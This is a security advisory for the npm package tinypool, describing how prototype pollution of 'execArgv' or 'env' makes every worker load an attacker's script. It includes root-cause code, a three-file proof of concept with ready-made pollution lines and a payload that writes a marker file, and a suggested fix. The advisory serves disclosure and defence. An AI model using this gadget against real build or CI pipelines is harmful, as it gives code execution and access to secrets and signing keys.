GHSA-5gmw-xhrv-c9v3

Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution

At a glance

Published
Updated
CVE
CVE-2026-104848
CVSS_V4
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Description

`tinypool` passes worker options to `new Worker()` by reading them off a plain object whose prototype is `Object.prototype`. Options the application did not set are resolved through the prototype chain and then passed explicitly to `worker_threads.Worker`. Node core ignores `Worker` options inherited from `Object.prototype`. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection. Two keys reach code execution: 1. **`execArgv`** — polluting `Object.prototype.execArgv = ['--require', '/path/to/attacker.js']` causes every pool worker to load the attacker's script. 2. **`env`** — polluting `Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }` achieves the same via environment injection. ## Root cause `dist/index.js` lines 508-511: ```js env: this.options.env, argv: this.options.argv, execArgv: this.options.execArgv, resourceLimits: this.options.resourceLimits, ``` `this.options` is built at line 470 via object spread: ```js this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 }; ``` ## Impact Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing). ## Proof of concept Minimal reproduction (3 files): **worker.mjs** — the application's own legitimate worker: ```js export default function double(n) { return n * 2 } ``` **payload.js** — attacker-controlled code (never referenced by the app): ```js const fs = require('fs') fs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid) console.log('*** RCE ***') ``` **app.js** — normal tinypool usage: ```js const path = require('path') // Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge) Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')] const { Tinypool } = require('tinypool') const pool = new Tinypool({ filename: path.join(__dirname, 'worker.mjs'), minThreads: 1, maxThreads: 1 }) pool.run(21).then(r => { console.log('pool returned:', r) // 42 — app works normally pool.destroy() }) ``` Run: ``` npm i tinypool@2.1.0 node app.js cat /tmp/RCE_PROOF.txt # attacker's code ran ``` Both `execArgv` and `env` vectors confirmed on Node 20. ## Suggested fix Resolve worker options with own-property semantics: ```js this.options = Object.assign(Object.create(null), kDefaultOptions, options, { filename, maxQueue: 0 }); ```

Affected packages

PackageVersions
npm · tinypoolintroduced 0, fixed 2.1.1

References

Sources

SourceLicence
OSV.devCC-BY 4.0 — GitHub Advisory Database